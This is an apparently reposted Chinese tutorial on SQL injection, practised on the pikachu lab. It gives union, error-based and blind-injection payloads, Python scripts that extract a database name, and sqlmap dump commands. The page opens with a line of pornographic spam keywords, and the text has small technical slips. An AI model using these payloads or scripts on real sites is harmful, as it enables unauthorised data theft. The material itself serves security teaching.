国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

【數(shù)據(jù)庫】SQL注入從0到1

這篇具有很好參考價值的文章主要介紹了【數(shù)據(jù)庫】SQL注入從0到1。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

目錄

前言:

1.【入門】普通查詢型注入:

1.0 實驗環(huán)境:

1.1進行一次普通的查詢:

1.2 進行注入得到用戶信息:

1.2.1 執(zhí)行注入:

1.2.2 注入語句分析:

1.3 整型注入與字符型注入?yún)^(qū)別:

2.【進階】從庫到列逐步注入:

2.1 預備知識:

2.1.1 union函數(shù):

2.1.2 order by函數(shù):

2.1.3 information_schema 庫:

2.2 注入實戰(zhàn):

2.2.1 查字段數(shù):

2.2.2 查數(shù)據(jù)庫名:

2.2.3 查庫中所有的表名:

2.2.4 查表中所有的列名:

2.2.5 根據(jù)字段查詢表中信息:

2.2.6 總結:

3.【高階】 利用報錯語句注入:

3.1 有關函數(shù):

3.1.1 extractvalue()

3.1.2 updatexml()

3.2 注入實戰(zhàn)

4.【高階】布爾盲注:

4.1 什么是布爾盲注:

4.2 布爾盲注示例:

4.3 布爾盲注腳本:

5.【高階】時間盲注:

5.1 什么是時間盲注:

5.2 時間盲注示例:

5.3 時間盲注腳本:

6.【附加】Sqlmap使用:

6.1 什么是sqlmap:

6.2 基本使用方法:


前言:

? SQL注入漏洞OWASP Top 10漏洞之一,指黑客通過將惡意的SQL語句插入到Web應用程序的輸入?yún)?shù)中,進而使后臺的數(shù)據(jù)庫服務器受到攻擊的行為。這種漏洞主要形成的原因是在數(shù)據(jù)交互中,前端的數(shù)據(jù)傳入到后臺處理時,沒有做嚴格的判斷,導致其傳入的“數(shù)據(jù)”拼接到SQL語句中后,被當作SQL語句的一部分執(zhí)行,從而導致數(shù)據(jù)庫受損,用戶隱私及機密數(shù)據(jù)遭到泄露

1.【入門】普通查詢型注入:

1.0 實驗環(huán)境:

用于實驗的表為:

【數(shù)據(jù)庫】SQL注入從0到1

假設后臺查詢語句為:

select password from users where id='$GET['id']';

分析語句可得,該語句會根據(jù)我們GET方式提交的參數(shù) id? 提交到數(shù)據(jù)庫中查詢id列中與提交的id參數(shù)相等的一行中password列所對應的值

1.1進行一次普通的查詢:

語句為:

select password from users where id='tom';

這里我們提交的id參數(shù)為tom,也就是所在表中查詢tom的password

結果為:

?顯而易見,我們查找出了tom的password

【數(shù)據(jù)庫】SQL注入從0到1

1.2 進行注入得到用戶信息:

1.2.1 執(zhí)行注入:

注入語句為:

select password from users where id='tom' or 1=1;#';

#我們傳入的 id 為  tom' or 1=1;#

結果為:

我們可以看到爆出了所有的用戶信息

【數(shù)據(jù)庫】SQL注入從0到1

1.2.2 注入語句分析:

我們給后臺傳入的id值為:

tom' or 1=1;#

后臺形成查詢語句為:

select password from users where id='tom' or 1=1;#';

紅色的單引號為查詢語句自帶的,橙色單引號為我們傳入的

  • 可以看到第一個紅色單引號與我們傳入的單引號進行了配對,而第二個紅色單引號者被我們傳入的#號注釋在外面(在sql語句中#號起注釋作用),然后 tom由于被我們傳入的單引號提前閉合,形成第一個查詢條件
  • or 代表邏輯運算符,代表或
  • 第二個查詢條件為:1=1 這條語句的結果永遠為真(1永遠等于1)

分析到這里,查詢語句可簡化為:

select password from users where id='tom' or True;

可以理解為 id='tom' 或 為真

也就是說id只要還有存在的值,那么語句便會一直查找下去(id等于該列中任何一個值結果都為True)

1.3 整型注入與字符型注入?yún)^(qū)別:

上文所描述的注入實例為字符型,在實戰(zhàn)環(huán)境中往往也會出現(xiàn)字符型

兩種查詢語句對比如下:

select password from users where id='$GET['id']'; #字符型
我們可以看到傳入的參數(shù)在單引號中,故為字符型,因為字符串要被單引號括住

select password from users where id=$GET['id'];  #整型
我們可以看到傳入的參數(shù)兩邊無單引號,故為整型

遇到字符型注入時,不需要構造引號閉合(因為后臺語句沒有單引號),只須最后用引號注釋掉后面即可

2.【進階】從庫到列逐步注入:

?? 一般存在查詢型注入,我們不只可以查詢所有的同類型信息,還可以查詢到數(shù)據(jù)庫的版本、名稱,及其所有的表、字段信息

2.1 預備知識:

2.1.1 union函數(shù):

對前后兩個select語句進行并集操作,不包括重復行,同時進行默認規(guī)則的排序;需要前后兩個select語句查詢的字段數(shù)相同,我們可以根據(jù)此函數(shù)自定義一個select語句,用來查詢我們想要的信息

2.1.2 order by函數(shù):

此函數(shù)后面跟數(shù)字,指的是根據(jù) select 后面查詢的列進行分組、排序等,1 代表第一個列,2代表第二個列,依次類推,如果我們所輸入的數(shù)字大于select后所查詢的列數(shù),那么就會返回失敗,所以我們可以通過不斷改變后面的數(shù)字來確定前select語句所查詢的字段數(shù)

2.1.3 information_schema 庫:

這是 MySQL 自帶的信息數(shù)據(jù)庫,用于存儲數(shù)據(jù)庫元數(shù)據(jù)(關于數(shù)據(jù)庫的數(shù)據(jù)),例如數(shù)據(jù)庫名、表名、列的數(shù)據(jù)類型、訪問權限等。我們可在information_schema.tables這個表中查到該數(shù)據(jù)庫的所有表

?該內容表如下

【數(shù)據(jù)庫】SQL注入從0到1

2.2 注入實戰(zhàn):

這里以pikachu靶場為例

2.2.1 查字段數(shù):

xx' order by 2#

2不報錯,3報錯,說明后臺查詢字段數(shù)為2,我們拼湊的查詢語句字段數(shù)也應為2

結果為:

【數(shù)據(jù)庫】SQL注入從0到1【數(shù)據(jù)庫】SQL注入從0到1

2.2.2 查數(shù)據(jù)庫名:

xx' union select database(),1# 

database()為MySQL的一個環(huán)境變量,代表當前數(shù)據(jù)庫

1是用來湊數(shù)的,因為前面的select語句為2個字段

或者

xxx' union select 1,group_concat(schema_name) from information_schema.schemata#

這個是通過information_schema庫(下文有講),查詢當前用戶所有數(shù)據(jù)庫

結果為:

?【數(shù)據(jù)庫】SQL注入從0到1

2.2.3 查庫中所有的表名:

  • 這里用到了information_schema庫tables表,里面有所有數(shù)據(jù)庫內表的信息
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#

??結果為:

【數(shù)據(jù)庫】SQL注入從0到1

2.2.4 查表中所有的列名:

  • 這里用到了information_schema庫columns表,里面有所有表內列的信息
1' union select 1,column_name from information_schema.columns where table_name= "users"#

結果為:?

?【數(shù)據(jù)庫】SQL注入從0到1

2.2.5 根據(jù)字段查詢表中信息

xx' union select username,password from users#

?結果為:?

?【數(shù)據(jù)庫】SQL注入從0到1

2.2.6 總結:

  • 我們首先爆出了當前數(shù)據(jù)庫名,然后又爆出了該數(shù)據(jù)庫所有的表名,又選取users表,爆出了其中大的列名,最后通過union查詢出了username,password列的信息

3.【高階】 利用報錯語句注入:

在某些環(huán)境下,我們不止可以通過select語句進行注入,還以通過報錯語句進行注入,利用報錯語句帶出數(shù)據(jù)

3.1 有關函數(shù):

3.1.1 extractvalue()

格式為:

extractvalue(xml_document,XPath_string)

xml_document:一個包含XML文檔的字符串

XPath_string:一個XPath表達式,用于定位需要提取的值

  • 如果參數(shù)信息對應的xml文件路徑不存在,那么就會以報錯的形式返回錯誤的路徑,我們可以令路徑參數(shù)為查詢語句,這樣就會以報錯的形式返回查詢語句的結果?

3.1.2 updatexml()

格式為:

格式為
updatexml(xml_document,XPath_string,new_value)
xml_document:一個包含XML文檔的字符串,
XPath_string:一個XPath表達式,用于定位需要修改的節(jié)點
new_value:要替換為的新值。

  • 該函數(shù)性質與上個相同,路徑不對就會報錯,利用方式也與上個相同

3.2 注入實戰(zhàn)

同樣以pikachu靶場為例

payload:

xx' and updatexml(1,datebase(),0)#

?我們可以看到爆出了數(shù)據(jù)庫名(?這里僅以查詢數(shù)據(jù)庫名為例,步驟與上文類似,替換XPath_string參數(shù)為對應查尋語句即可)

【數(shù)據(jù)庫】SQL注入從0到1

4.【高階】布爾盲注:

4.1 什么是布爾盲注:

布爾盲注是一種SQL注入技術,它基于真和假的邏輯判斷。攻擊者通過構造一些布爾表達式,并根據(jù)頁面顯示的不同響應來判斷是否注入成功

4.2 布爾盲注示例:

例如pikachu這一關:在輸入信息不存在時,會返回相同的一句話

【數(shù)據(jù)庫】SQL注入從0到1

我們可通過返回的信息,判斷注入真假

4.3 布爾盲注腳本:

  • 該腳本的原理是使用 and 邏輯運算符 將查詢?yōu)檎娴臈l件,和我們按照ASCII表逐一爆破的庫名,表名等連接在一起只有都為真時,才會返回成功查詢的標志(手工注入幾乎不可能,太費時間,大部分情況都使用腳本)
//該腳本只能爆出數(shù)據(jù)庫名,爆其他信息手動更改payload即可

import requests
url="xxxx/?id="
flag=''

for i in range(1,10):
    print(i)
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)
        r=requests.get(url=url+payload)
        if "You are in" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(mid==32):
            break
    flag=flag+chr(mid)
    print(flag)

5.【高階】時間盲注:

5.1 什么是時間盲注:

時間盲注是一種基于時間的SQL注入攻擊技術。在某些情況下,頁面會只有一種返回結果,無法通過正常的方式判斷是否注入成功,這時,攻擊者可以利用延時函數(shù)如sleep()benchmark()等,在SQL語句中加入等待一定時間的命令,根據(jù)頁面的響應時間來判斷條件是否正確

5.2 時間盲注示例:

例如pikachu這一關:?當我們輸入不存在的用戶名時,只會返回同樣的一句話

【數(shù)據(jù)庫】SQL注入從0到1

?無論我們傳入的數(shù)據(jù)是否存在,返回結果均相同,所以我們要通過響應時間判斷注入對錯

5.3 時間盲注腳本:

  • ?根據(jù)實際場景修改url以及payload即可使用,腳本原理與布爾盲注腳本相似
該腳本只能爆出數(shù)據(jù)庫名,爆其他信息手動更改payload即可

import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="

for i in range(1,100):
    print(i)
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload = "1' and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)--+"%(i,mid)
        stat_time = time.time()
        r = session.get(url=url+payload)
        end_time = time.time()
        t = end_time - stat_time
        if t > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high)//2
        if mid==32:
            break
    flag=flag+chr(mid)
    print(flag)

6.【附加】Sqlmap使用:

6.1 什么是sqlmap:

? sqlmap是一款開源的自動化SQL注入工具,可以用于檢測和利用Web應用程序中的SQL注入漏洞,并獲取數(shù)據(jù)庫的敏感信息。該工具支持多種數(shù)據(jù)庫類型(如MySQL、Oracle、PostgreSQL等)和操作系統(tǒng)(如Windows、Linux等)官網下載鏈接文章來源地址http://www.zghlxwxcb.cn/news/detail-455010.html

6.2 基本使用方法:

sqlmap -u  "http://www.xx.com?id=x"    查詢是否存在注入點

         --dbs        檢測站點包含哪些數(shù)據(jù)庫

         --current-db       獲取當前的數(shù)據(jù)庫名

         --tables -D  "db_name"  獲取指定數(shù)據(jù)庫中的表名
         --columns  -T  "table_name"  -D  "db_name"     獲取數(shù)據(jù)庫表中的字段

         --dump -C  "columns_name"  -T "table_name"  -D  "db_name"     獲取指定列的數(shù)據(jù)內容

到了這里,關于【數(shù)據(jù)庫】SQL注入從0到1的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!

本文來自互聯(lián)網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 確保你的數(shù)據(jù)庫安全:如何防止SQL注入攻擊

    最近,越來越多的組織和公司受到SQL注入攻擊的困擾。這種攻擊可以導致數(shù)據(jù)庫中的敏感信息泄露,破壞數(shù)據(jù)完整性,甚至可能導致整個系統(tǒng)崩潰。如果您是一名數(shù)據(jù)庫管理員或網站管理員,您需要了解如何保護您的數(shù)據(jù)庫免受SQL注入攻擊的威脅。在本文中,小德將介紹什么

    2024年02月02日
    瀏覽(23)
  • Python MySQL 數(shù)據(jù)庫查詢:選擇數(shù)據(jù)、使用篩選條件、防止 SQL 注入

    Python MySQL 數(shù)據(jù)庫查詢:選擇數(shù)據(jù)、使用篩選條件、防止 SQL 注入

    要從MySQL中的表格中選擇數(shù)據(jù),請使用\\\"SELECT\\\"語句: 示例選擇\\\"customers\\\"表格中的所有記錄,并顯示結果: 注意 :我們使用 fetchall() 方法,該方法從上次執(zhí)行的語句中獲取所有行。 要僅選擇表格中的某些列,請使用\\\"SELECT\\\"語句,后跟列名: 示例僅選擇name和address列: 如果您只對

    2024年02月05日
    瀏覽(115)
  • 五、C#與數(shù)據(jù)庫交互( SQL注入與安全性)

    在C#與數(shù)據(jù)庫交互時,安全性是非常重要的一部分,特別是要防止SQL注入攻擊。SQL注入是一種常見的網絡攻擊手段,攻擊者通過在輸入字段中注入惡意SQL代碼來操縱數(shù)據(jù)庫查詢。以下是一些關于如何防止SQL注入的建議: 使用參數(shù)化查詢 : 這是防止SQL注入的最有效方法。參數(shù)化

    2024年02月02日
    瀏覽(29)
  • 記錄惡意SQL注入引發(fā)的RDS只讀數(shù)據(jù)庫CPU飚100%

    記錄惡意SQL注入引發(fā)的RDS只讀數(shù)據(jù)庫CPU飚100%

    前言 : 在廣州這座城市下著小雨的晚上,我正在廚房洗著碗,突然手機有來電,脫下手套,一看是來自阿里云的告警電話。打開飛書查看告警內容,發(fā)現(xiàn)某個業(yè)務的RDS只讀實例CPU飚到100%,下意識覺得是不是有慢查詢導致,想著不會有啥問題,上去kill慢查就好了,結果發(fā)現(xiàn)是

    2024年03月19日
    瀏覽(25)
  • 網絡安全進階學習第十二課——SQL手工注入3(Access數(shù)據(jù)庫)

    網絡安全進階學習第十二課——SQL手工注入3(Access數(shù)據(jù)庫)

    判斷數(shù)據(jù)庫類型 —— 判斷表名 —— 判斷列名 —— 判斷列名長度 —— 查出數(shù)據(jù)。 asp的網站,常用數(shù)據(jù)庫為access、sqlserver。 and exsits (select * from msysobjects)0 access and exsits (select * from sysobjects)0 sqlserver 上述語句 會返回1或者0 。 msysobjects是access的默認數(shù)據(jù)庫 , sysobjects是sqlserv

    2024年02月11日
    瀏覽(29)
  • 數(shù)據(jù)庫入門-----SQL基礎知識

    數(shù)據(jù)庫入門-----SQL基礎知識

    目錄 ??前言: ??SQL概述通用語法: ???DDL: ??操作數(shù)據(jù)庫: ??數(shù)據(jù)類型: ???操作表: ??DML: 語法規(guī)則: 案例演示: ??DQL: 語法規(guī)則: 案例演示: # 基礎查詢: ?# 條件查詢: ?#聚合函數(shù): ?# 分組查詢: ?#排序查詢: ?#分頁查詢: ?執(zhí)行順序: ??DCL: 語法規(guī)則:

    2024年04月10日
    瀏覽(44)
  • GaussDB高斯數(shù)據(jù)庫(SQL語法入門)

    GaussDB高斯數(shù)據(jù)庫(SQL語法入門)

    DDL數(shù)據(jù)定于語言:用于定義或修改數(shù)據(jù)庫中的對象,如:表,索引,視圖,數(shù)據(jù)庫,序列,用戶,角色,表空間,會話等。 DDL不支持物化視圖,存儲過程,觸發(fā)器,自定義函數(shù),自定義類型。 DML數(shù)據(jù)操作語言:用于對數(shù)據(jù)庫表中的數(shù)據(jù)進行操作,如插入,更新和刪除。 DCL數(shù)

    2023年04月10日
    瀏覽(97)
  • 【建議收藏】數(shù)據(jù)庫 SQL 入門——事務(內附演示)

    【建議收藏】數(shù)據(jù)庫 SQL 入門——事務(內附演示)

    ???♂?作者簡介:生魚同學,大數(shù)據(jù)科學與技術專業(yè)碩士在讀?????,曾獲得華為杯數(shù)學建模國家二等獎??,MathorCup 數(shù)學建模競賽國家二等獎??,亞太數(shù)學建模國家二等獎??。 ??研究方向:復雜網絡科學 ??興趣方向:利用python進行數(shù)據(jù)分析與機器學習,數(shù)學建模競

    2023年04月23日
    瀏覽(25)
  • 【建議收藏】數(shù)據(jù)庫 SQL 入門——約束(內附演示)

    【建議收藏】數(shù)據(jù)庫 SQL 入門——約束(內附演示)

    ???♂?作者簡介:生魚同學,大數(shù)據(jù)科學與技術專業(yè)碩士在讀?????,曾獲得華為杯數(shù)學建模國家二等獎??,MathorCup 數(shù)學建模競賽國家二等獎??,亞太數(shù)學建模國家二等獎??。 ??研究方向:復雜網絡科學 ??興趣方向:利用python進行數(shù)據(jù)分析與機器學習,數(shù)學建模競

    2024年02月03日
    瀏覽(19)
  • 【SQL server】數(shù)據(jù)庫入門基本操作教學

    【SQL server】數(shù)據(jù)庫入門基本操作教學

    個人主頁:【??個人主頁】 系列專欄:【??初識JAVA】 數(shù)據(jù)庫是計算機系統(tǒng)中用于存儲和管理數(shù)據(jù)的一種軟件系統(tǒng)。它通常由一個或多個數(shù)據(jù)集合、管理系統(tǒng)和應用程序組成,被廣泛應用于企業(yè)、政府和個人等各種領域。目前常用的數(shù)據(jù)庫系統(tǒng)包括關系型數(shù)據(jù)庫和非關系型

    2024年02月07日
    瀏覽(27)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包